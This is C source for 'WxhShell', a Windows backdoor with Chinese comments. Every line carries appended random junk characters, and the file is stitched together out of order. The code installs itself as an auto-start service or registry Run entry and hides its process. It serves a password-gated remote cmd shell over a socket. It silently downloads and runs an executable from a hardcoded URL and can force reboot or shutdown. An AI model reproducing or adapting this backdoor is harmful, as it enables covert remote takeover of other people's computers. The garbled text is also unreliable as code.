    break; }CxvT`/  
    } |;A/|F0-e  
  // 关机 VzJ5.mRQ  
  case 'd': { U4G}DCU  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Tg3!Rq55  
    if(Boot(SHUTDOWN)) =_]2&(?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4'p=p#o  
    else { )f dE6  
    closesocket(wsh); VGqa)ri"  
    ExitThread(0); irk*~k ?  
    } IcIOC8WC  
    break; d`d0 N5\  
    } W9oAjO NE  
  // 获取shell 8^B;1`#  
  case 's': { ~ 7)A"t  
    CmdShell(wsh); saD-D2oj  
    closesocket(wsh); pb0E@C/R  
    ExitThread(0); 1|8<H~&  
    break; u =gt<1U  
  } 1b9hE9a{j  
  // 退出 6bBdIqGb}  
  case 'x': { E0oU$IB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rd3j1U  
    CloseIt(wsh); N -w(e  
    break; XR0O;JN  
    } iK{T^vvk  
  // 离开 %PJhy2  
  case 'q': { ftBq^tC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $<p8TtI=YQ  
    closesocket(wsh); h.K(P+h  
    WSACleanup(); YRlDX:oX~  
    exit(1); [Vf}NF  
    break; _7a'r</@  
        } ):EBgg4-N  
  } /HZumV?  
  } yg]2erR  
zdSh:  
  // 提示信息 0iEa[G3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0@Kkl$O>mb  
} 8dK0o>|}  
  } %i)B*9k  
4e9q`~ sO  
  return; YwH./)r=  
} HEA eo!  
>5T_g2pkv  
// shell模块句柄 9j*0D("  
int CmdShell(SOCKET sock) N~ANjn/wL  
{ +\#Fd  
STARTUPINFO si; BKU'`5`  
ZeroMemory(&si,sizeof(si)); ~YCuO0t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >6Lm9&}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Fl>]&x*~  
PROCESS_INFORMATION ProcessInfo; 7m5Co>NkuK  
char cmdline[]="cmd"; dRvin[R8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z (c9,3  
  return 0; b]gY~cbI8  
} 8Z85D  
=neL}Fav56  
// 自身启动模式 GJ 'spgz  
int StartFromService(void) y|_Eu:  
{ OY"6J@[z  
typedef struct ZkB3[$4C=5  
{ /,|CrNwY*  
  DWORD ExitStatus; (sw-~U%  
  DWORD PebBaseAddress; ;+pOP |P=  
  DWORD AffinityMask; OuIv e>8  
  DWORD BasePriority; ;K:8#XuV  
  ULONG UniqueProcessId; !PUp>(  
  ULONG InheritedFromUniqueProcessId; ELa ja87  
}   PROCESS_BASIC_INFORMATION; Gt/4F-Gn  
# k5#j4!b  
PROCNTQSIP NtQueryInformationProcess; }fhHXGK.  
0'$p$K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3}&ZOO   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #p yim_  
U=Bn>F}y\  
  HANDLE             hProcess; >qT'z$  
  PROCESS_BASIC_INFORMATION pbi; klWYuStZ  
+yt6(7V*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;_<)JqUh  
  if(NULL == hInst ) return 0; BQ05`nkF  
^&c$[~W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hv)7H)|l~]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Sav`%0q?7a  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); POU}/e!Ua  
e&X>F"z2  
  if (!NtQueryInformationProcess) return 0; lj&>cScC  
Zzd/K^gg  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +lO'wa7|3  
  if(!hProcess) return 0; igDyp0t  
A~-#@Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L*]E`Xxd9  
>HkhAJhW  
  CloseHandle(hProcess); M:ai<TZ]  
m$y]Lf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p {%t q$}.  
if(hProcess==NULL) return 0; rPq<Xb\  
#w3ru6*W  
HMODULE hMod; VTe.M[:  
char procName[255]; :X .,  
unsigned long cbNeeded; Na!za'qk[o  
,&a`d}g&G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "2HY5 AE  
4?]oV%aP)  
  CloseHandle(hProcess); T<jfAE  
wFlV=!>,  
if(strstr(procName,"services")) return 1; // 以服务启动 DOL%'k?B  
Sw! j=`O  
  return 0; // 注册表启动 & QZVq"  
} m=&j@  
(N U0T w  
// 主模块 M$CVQ>op:  
int StartWxhshell(LPSTR lpCmdLine) Q2~5"  
{ +?N}Y{Y&  
  SOCKET wsl; <Dw]yGK@  
BOOL val=TRUE; 6 `puTL?  
  int port=0; + Oobb-v  
  struct sockaddr_in door; QXk"?yT`E  
_C+DBA  
  if(wscfg.ws_autoins) Install(); `B#Z;R  
-2NwF4VL  
port=atoi(lpCmdLine); h$h]%y  
Ge}$rLu]0  
if(port<=0) port=wscfg.ws_port; Ob&W_D^=N  
Q(\ wx  
  WSADATA data; $@87?Ab  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UxPGv;F  
-ID!pTvW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    Q&+c.S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M4<+%EV}  
  door.sin_family = AF_INET; Lk(S2$)*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2bA#D%PHD  
  door.sin_port = htons(port); zv%J=N$G  
ZzL@[g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F2oJ]th.3  
closesocket(wsl); <%,'$^'DS  
return 1; X!0kK8v  
} VJ1*|r,  
q`loOm=y  
  if(listen(wsl,2) == INVALID_SOCKET) { :Ee?K  
closesocket(wsl); ],?pe  
return 1; m{#?fR=9  
} [Ey[A|g  
  Wxhshell(wsl); a9LK}xc={  
  WSACleanup(); }Br=eaY  
hSkI]%  
return 0; /Uxp5 b h  
y0}3s)lKv  
} fhwJ  
D@W[Nd5MJ  
// 以NT服务方式启动 M$J{clr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +>bm~6  
{ Y["aw&;#O\  
DWORD   status = 0; 2bv/ -^  
  DWORD   specificError = 0xfffffff; R;d)I^@  
0+3_CS++r  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  >;qAj!'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5z/*/F=X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,i]X^z5!  
  serviceStatus.dwWin32ExitCode     = 0; I}^Q u0ub  
  serviceStatus.dwServiceSpecificExitCode = 0; r,cz yE/  
  serviceStatus.dwCheckPoint       = 0; ` |uwR5  
  serviceStatus.dwWaitHint       = 0; ;D8175px;  
&[yW}uV<7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); OKo)p`BX  
  if (hServiceStatusHandle==0) return; Q H>e_  
#!.26RM:P  
status = GetLastError(); wqnrN6$jf  
  if (status!=NO_ERROR)  eeMeV>  
{ sOVbz2 \yb  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;15 j\{r  
    serviceStatus.dwCheckPoint       = 0; ]#NJ[IZb  
    serviceStatus.dwWaitHint       = 0; "5wer5? t  
    serviceStatus.dwWin32ExitCode     = status; Ty&Ok*  
    serviceStatus.dwServiceSpecificExitCode = specificError; ob. Br:x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &0`[R*S  
    return; 7=hISQMsVP  
  } gI T3A*x  
6Mc&gnN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ot<vn34mt:  
  serviceStatus.dwCheckPoint       = 0; y/vGt_^;3<  
  serviceStatus.dwWaitHint       = 0; xcHuH -}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3a Y^6&  
} L$zB^lSM  
e0Jz|?d=  
// 处理NT服务事件,比如:启动、停止 faIHmU  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ITssBB9  
{ w. c]   
switch(fdwControl) F`Ld WA  
{ D$?}M>  
case SERVICE_CONTROL_STOP: [ !<  
  serviceStatus.dwWin32ExitCode = 0; 0Z4o3r[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w;p~|!  
  serviceStatus.dwCheckPoint   = 0; alp}p  
  serviceStatus.dwWaitHint     = 0; P:OI]x4  
  { q?##S'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;h~v,h  
  } EP'I  
  return; < $>Jsv  
case SERVICE_CONTROL_PAUSE: Bj`ZH~T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F1A7l"X]  
  break; CT0 ~  
case SERVICE_CONTROL_CONTINUE: a%YohfsY?U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; lKSd]:3Xm  
  break; S_ER^Pkg  
case SERVICE_CONTROL_INTERROGATE: }K.2  
  break; 59MpHkr  
}; Dg=!d)\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u*6Y>_iA  
} umuE5MKY<  
$! R]!s  
// 标准应用程序主函数 %AJTU3=0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \- f^C}m  
{ &:?2IAe  
A(@VjXl  
// 获取操作系统版本 `#3FvP@&  
OsIsNt=GetOsVer(); "o}}[hRP  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =}K"@5J  
Q<O(Ix  
  // 从命令行安装 $6DA<v^=z  
  if(strpbrk(lpCmdLine,"iI")) Install(); &YOks.k  
7#[8td  
  // 下载执行文件 *l.tsICmbP  
if(wscfg.ws_downexe) { @,Kl"i;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |*5HNP  
  WinExec(wscfg.ws_filenam,SW_HIDE); efrVF5,y?  
} xT8pwTO  
(x!Tb2mlk  
if(!OsIsNt) { H"vkp~u]I  
// 如果时win9x,隐藏进程并且设置为注册表启动 YIn H8Ex  
HideProc(); MO-7y p:K  
StartWxhshell(lpCmdLine); ),rd7GB>  
} w!--K9  
else :406Oa  
  if(StartFromService()) SCL8.%z D  
  // 以服务方式启动 /v-:ca)7mI  
  StartServiceCtrlDispatcher(DispatchTable); ;_6 CV  
else _q z^|J  
  // 普通方式启动 _j sJS<21  
  StartWxhshell(lpCmdLine); 6F:< c  
x^V9;V@6  
return 0; F tw ;T|  
}  3PUyua'  
c]PG5f xf  
TfnBPO  
I6vy:5d  
=========================================== .H#<yPty  
UAEu.AT  
UlQS]f~  
tDQuimYu7  
]9PQKC2&  
Me2qOc^Z-  
" sL!+&Id|  
; S~  
#include <stdio.h> oY<R[NYKu  
#include <string.h> '`sZo1x%f  
#include <windows.h> <HB@j}qi  
#include <winsock2.h> k1E(SXcW9  
#include <winsvc.h> kK~,? l  
#include <urlmon.h> nm#,oX2C  
60z8U#upM  
#pragma comment (lib, "Ws2_32.lib") V.|#2gC]t  
#pragma comment (lib, "urlmon.lib") _ K Ix7  
T*{nf  
#define MAX_USER   100 // 最大客户端连接数 ZwOX ,D  
#define BUF_SOCK   200 // sock buffer bnZ~jOHl  
#define KEY_BUFF   255 // 输入 buffer bmQ-5SE  
~-2Gx HO`  
#define REBOOT     0   // 重启 9 $*O^  
#define SHUTDOWN   1   // 关机 bw8[L;~%_  
8;v/b3  
#define DEF_PORT   5000 // 监听端口 <c.8f;1F  
2+=:pc^  
#define REG_LEN     16   // 注册表键长度 %EE Q ^lm  
#define SVC_LEN     80   // NT服务名长度 ZG$PW< 73~  
u:w   
// 从dll定义API Ohn?>qQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d;hv_h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); s2`Qh9R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H&So Vi_V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o2rL&  
S!8gy,7<J  
// wxhshell配置信息 G$A=Tu~  
struct WSCFG { 0sfb$3y  
  int ws_port;         // 监听端口 zVvL!  
  char ws_passstr[REG_LEN]; // 口令 *ry}T=  
  int ws_autoins;       // 安装标记, 1=yes 0=no -gB9476-  
  char ws_regname[REG_LEN]; // 注册表键名 :r4o:@N'  
  char ws_svcname[REG_LEN]; // 服务名 -]Y@_T.C  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3eERY[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pD17r}%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6wq>&P5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )skz_a}]8  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Xv<K>i>k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ({0:1*lF@  
*CCh\+S7m  
}; g[Q+DT  
e!=~f%c<N  
// default Wxhshell configuration <j}A=SDZ)  
struct WSCFG wscfg={DEF_PORT, He*c=^8k  
    "xuhuanlingzhe", 3|(<]@ $  
    1, #HTq \J!  
    "Wxhshell", YY4q99^K  
    "Wxhshell", -dS@ l'$  
            "WxhShell Service", }D[j6+E  
    "Wrsky Windows CmdShell Service", p(!d,YSE  
    "Please Input Your Password: ", *f o>  
  1,  7 T  
  "http://www.wrsky.com/wxhshell.exe", 722:2 {  
  "Wxhshell.exe" (vFO'jtcB-  
    }; Y/ I32@  
k}0b7er=R  
// 消息定义模块 "1Y'VpKm(~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yT-qT_.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; a4&Aw7"X  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CUnBi?Mi  
char *msg_ws_ext="\n\rExit."; b\S~uFq6  
char *msg_ws_end="\n\rQuit."; |B {*so]  
char *msg_ws_boot="\n\rReboot..."; *RM 3 _  
char *msg_ws_poff="\n\rShutdown..."; L6./5`bs  
char *msg_ws_down="\n\rSave to "; xF6byTi  
l5/gM[0_7  
char *msg_ws_err="\n\rErr!"; B \LmE+a>  
char *msg_ws_ok="\n\rOK!"; SW}?y%~  
`\$EPUM  
char ExeFile[MAX_PATH]; MdDL?ev  
int nUser = 0; 5?q 6g  
HANDLE handles[MAX_USER]; Y94S!TbB  
int OsIsNt; Z&of-[)  
&B\ sG=  
SERVICE_STATUS       serviceStatus; ' eh }t  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a"&cm'\lL  
+c$:#9$ |  
// 函数声明 _FxeZ4\  
int Install(void); @{"?fqo  
int Uninstall(void); MK(~  
int DownloadFile(char *sURL, SOCKET wsh); s:3b.*t<  
int Boot(int flag); !Ahxi);a  
void HideProc(void); AsI\#wL)  
int GetOsVer(void); 8Si3 aq3  
int Wxhshell(SOCKET wsl); 2ck0k,WP  
void TalkWithClient(void *cs); Ab6R ?mUM  
int CmdShell(SOCKET sock); (H8JV1J  
int StartFromService(void); bXSAZW f  
int StartWxhshell(LPSTR lpCmdLine); [1nUq!uTm  
Mc&Fj1h5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J7Mbv2D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IN75zn*%  
Tje(hnN  
// 数据结构和表定义 -3u ;U,}  
SERVICE_TABLE_ENTRY DispatchTable[] = <eZ*LK?  
{ [HI$[ :[  
{wscfg.ws_svcname, NTServiceMain}, U!(es0rX  
{NULL, NULL} _2Mpzv  
}; U C_$5~8p  
GvZ[3GT  
// 自我安装 pxn@rN#*  
int Install(void) !;;7:!)P  
{ < 0YoZSNGj  
  char svExeFile[MAX_PATH]; f] _'icP  
  HKEY key; 0xY</S  
  strcpy(svExeFile,ExeFile); S=j pn  
}3_ >  
// 如果是win9x系统,修改注册表设为自启动 q ~^!Ck+#*  
if(!OsIsNt) { [{`2FR:Cd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q' Tg0,,S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '50}QY_R.  
  RegCloseKey(key); ,q;?zcC7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u 7:Iv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A"z9t#dv@  
  RegCloseKey(key); 74  &q2g{  
  return 0; `FEa(Q+s  
    } [8~P Pc^  
  } %lD+57=  
} txvo7?Y*4  
else {  O4Q"2  
`?O0)  
// 如果是NT以上系统,安装为系统服务 7MGvw-Tpb7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qtmKX  
if (schSCManager!=0) {PR "}x  
{ rzs-c ?  
  SC_HANDLE schService = CreateService )xiu \rC  
  ( }V[ORGzox  
  schSCManager, l6 L?jiTl_  
  wscfg.ws_svcname, !*f$*,=^  
  wscfg.ws_svcdisp, [2Zl '+  
  SERVICE_ALL_ACCESS, skBD2V4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , oEX^U4/=  
  SERVICE_AUTO_START, 91]sO%3  
  SERVICE_ERROR_NORMAL, k<5g  
  svExeFile, >ZW|wpO  
  NULL, Z/dhp0k  
  NULL, 4Us_Z{.  
  NULL, ]x{.qTtw  
  NULL, r?IBmatK/  
  NULL 0zE@?.  
  ); k(M:#oA!  
  if (schService!=0) QZtQogNy#  
  { rOz1tY)l0d  
  CloseServiceHandle(schService); 4v`IAR?&K;  
  CloseServiceHandle(schSCManager); . !Pg)|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #?V rt,n  
  strcat(svExeFile,wscfg.ws_svcname); Inn{mmz 1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %pxO<O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *\(z"B  
  RegCloseKey(key);  * k<@  
  return 0; {0 j_.XZ  
    } [F'|KcE3  
  } 3%hq<  
  CloseServiceHandle(schSCManager); :PtZKt;~X  
} ~USt&?  
} 1Qu@pb^  
|JP19KFx'B  
return 1; 9Msy=qvYG  
} z~ywFk}KGd  
R|v'+bv  
// 自我卸载 H]pI$t3~  
int Uninstall(void) yIrJaS-  
{ Zk`yd8C  
  HKEY key; 'E+"N'M|  
bMGn&6QiP[  
if(!OsIsNt) { "VZXi_P  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b>Y{,`E3  
  RegDeleteValue(key,wscfg.ws_regname); R(`:~@ 3\6  
  RegCloseKey(key); !?(7g2NP)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tAF?. \x"g  
  RegDeleteValue(key,wscfg.ws_regname); nYFrp)DLK  
  RegCloseKey(key); wD=]U@t`,  
  return 0; YZj*F-}  
  } NC#F:M;b  
} s2#Ia>5!  
} *8WB($T}  
else { |1RVm?~i  
LP=j/qf|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d 8DU[p  
if (schSCManager!=0) ](A2,F 9(U  
{ Y}1c>5{bE  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;4[[T%&v  
  if (schService!=0) }!AS?  
  { 5,pNqXRp  
  if(DeleteService(schService)!=0) { l6y}>]  
  CloseServiceHandle(schService); PO`p.("h  
  CloseServiceHandle(schSCManager); C+ll A  
  return 0; }Nsdk',}  
  } D%abBE1  
  CloseServiceHandle(schService); USEb} M`  
  } 0z8?6~M;<  
  CloseServiceHandle(schSCManager); Jsysk $R  
}  L23}{P  
} w?8SQI,~X  
;~EQS.Qp  
return 1; EU%,tp   
} Ic9L@2m  
,-4NSli  
// 从指定url下载文件 F5Z,Jmi^M  
int DownloadFile(char *sURL, SOCKET wsh) d=PX}o^  
{ _r*\ BM8y  
  HRESULT hr; jYFJk&c  
char seps[]= "/"; [/CGV8+  
char *token; a:fP  
char *file; U}RBgPX!  
char myURL[MAX_PATH]; UowvkVa  
char myFILE[MAX_PATH]; y %Q. (  
#cu{AdK  
strcpy(myURL,sURL); _cX}!d!j  
  token=strtok(myURL,seps); @"-\e|[N  
  while(token!=NULL) \</!kY*3@t  
  { kFv*>>X`  
    file=token; Zd6ik&S   
  token=strtok(NULL,seps); gvA}s/   
  } yQiY:SH  
-GA F>  
GetCurrentDirectory(MAX_PATH,myFILE); c]PTU2BB8  
strcat(myFILE, "\\"); lPZ(c%P  
strcat(myFILE, file); n^Ca?|} ,  
  send(wsh,myFILE,strlen(myFILE),0); 5 wrRtzf  
send(wsh,"...",3,0); x#J9GP.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OT%E|) 6'  
  if(hr==S_OK) 94rSB}b.O  
return 0; j#1G?MF  
else lh8Q tPe  
return 1; P.'.KZJ:WD  
@up,5`  
} %.Ma_4o Z  
rm8Ys61\=  
// 系统电源模块 +;?mg(:  
int Boot(int flag) @-'a{hBR  
{ Nmj)TOEPW  
  HANDLE hToken; mGjB{Q+  
  TOKEN_PRIVILEGES tkp; *M1GVhW(+  
:V(LBH0  
  if(OsIsNt) { 0O9b 7F  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C#kE{Qw10r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^#Ha H  
    tkp.PrivilegeCount = 1; >>y`ap2%V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H<(F$7Q!\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p~ b4TRvA6  
if(flag==REBOOT) { %S`& R5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0%ul6LvM  
  return 0; <RY =y?%z  
} ; oyV8P$  
else { eDJnzh83  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) X 0G,tl  
  return 0; "mK`3</G  
} N1a]y/  
  } gV2vwe  
  else { 2:*15RH3  
if(flag==REBOOT) { m,k 0 h%  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r5}p .  
  return 0; ipu!{kJ  
} S&_03  
else { 'D+xs}\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rH3U;K!  
  return 0; P`biHs8O  
} *;fTiL  
} i#[8I-OtN/  
g8<ODU0[g  
return 1; h>/teHy /  
} ?UtKu  
A2|Bbqd  
// win9x进程隐藏模块 g:o/^_  
void HideProc(void) uNN/o}Qx  
{ >jW**F  
rNP;53FtZl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZcN0:xU  
  if ( hKernel != NULL ) C/k#gLF`  
  { Kh]es,$D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); j3Od7bBS]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f%]@e9dD  
    FreeLibrary(hKernel); hX.cdt_?  
  } uf6egm5 ]  
_3`G ZeGV  
return; Jt_=aMY:7  
} 6] x6FeuS  
T lXS}5^  
// 获取操作系统版本 N]P~`)  
int GetOsVer(void) 3:,%># "  
{ LT%~C uf  
  OSVERSIONINFO winfo; MhMiSsZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [vi =^  
  GetVersionEx(&winfo); '12m4quO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hn/t'D3  
  return 1; E`)e ;^  
  else )s!A\a`vEd  
  return 0; ,U{dqw8E{  
} +^AdD8U  
opfnIkCe  
// 客户端句柄模块 /TMVPnvz.  
int Wxhshell(SOCKET wsl) 'V&g"Pb  
{ q[U pP`Z%  
  SOCKET wsh; vMzL+D2)  
  struct sockaddr_in client; )G2Bx+Z;L  
  DWORD myID; Ne u$SP  
-'&l!23a~  
  while(nUser<MAX_USER) XJ7B?Z g  
{ 7P$*qj~Vh  
  int nSize=sizeof(client); ? NoNg^Of  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Otq3nBZ  
  if(wsh==INVALID_SOCKET) return 1; IVxJN(N^  
-M{s zH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XRPJPwes]  
if(handles[nUser]==0) < se~wR  
  closesocket(wsh); mS%4  
else qz` -?,pF  
  nUser++; LQF;T7VKS)  
  } 02]HwsvZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <aPZE6z  
a j?ZVa6  
  return 0; ] 9QXQH  
} ;6 V~yB  
C6>_ wl]  
// 关闭 socket G? SPz  
void CloseIt(SOCKET wsh) > )4~,-;k  
{ ( #dR\Di  
closesocket(wsh); .U{}N%S  
nUser--; EZj rX>"#  
ExitThread(0); 6nA9r5Ghv  
} 3Dr\ O_`u  
3cJ'tRsp<  
// 客户端请求句柄 #?Ix6 {R  
void TalkWithClient(void *cs) y>C !cYB  
{ "smU5 s,P  
L 0Ckw},,  
  SOCKET wsh=(SOCKET)cs; p W[TufTa  
  char pwd[SVC_LEN]; q>%B @'  
  char cmd[KEY_BUFF]; R*6TS"aL  
char chr[1]; YMo8C(  
int i,j; E?]$Y[KJKs  
gYt=_+-  
  while (nUser < MAX_USER) { V dJ  
Ktk?(49  
if(wscfg.ws_passstr) { gPn0-)<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +=W(c8~P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BiU>h.4=\(  
  //ZeroMemory(pwd,KEY_BUFF); _#~D{91 j:  
      i=0; H7uh"/A  
  while(i<SVC_LEN) { HDhkg-QC  
PVi;h%>Y  
  // 设置超时 ` 0 @m,  
  fd_set FdRead; 3XY"s"  
  struct timeval TimeOut; UK6x]tE  
  FD_ZERO(&FdRead); _E9[4%f  
  FD_SET(wsh,&FdRead); ;-JF1p7;  
  TimeOut.tv_sec=8; b0 }dy\dnQ  
  TimeOut.tv_usec=0; d\-*Fmp(S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bM'F8 Fi  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +184|nJ<2  
/Igz[P^\9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \FO`WUAF  
  pwd=chr[0]; ]HWeVhG  
  if(chr[0]==0xd || chr[0]==0xa) { o5]-Kuw`  
  pwd=0; ea{zL  
  break; %S%UMA.  
  } {JdXn  
  i++; gR/?MJ(v  
    } 26}3  
q"269W:  
  // 如果是非法用户,关闭 socket |zRrGQY m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BuvnY  
} ~"*W;|)  
~APS_iG[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,OrrGwp&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T Q![  
Lt~&K$t7~  
while(1) { Eg&5tAyM  
(0@b4}Z  
  ZeroMemory(cmd,KEY_BUFF); I>8_gp\1  
D<70rBf2  
      // 自动支持客户端 telnet标准   n"?*"Ya  
  j=0; ;Mmu}  
  while(j<KEY_BUFF) { |J@ &lBlq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P\@kqf~pC  
  cmd[j]=chr[0]; uNEl]Q]<e]  
  if(chr[0]==0xa || chr[0]==0xd) { mY=sh{ir  
  cmd[j]=0; *|q{(KX  
  break; B3yTN6-  
  } GsO(\hR6^  
  j++; Z6b]EcP)#  
    } D\;5{,:d  
}x#e.}hf&  
  // 下载文件 JS03B Itt  
  if(strstr(cmd,"http://")) { XlXt,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pc?"H!Hkn  
  if(DownloadFile(cmd,wsh)) t!xdKX& }  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g3Q;]8Y&  
  else K/(QR_@?  
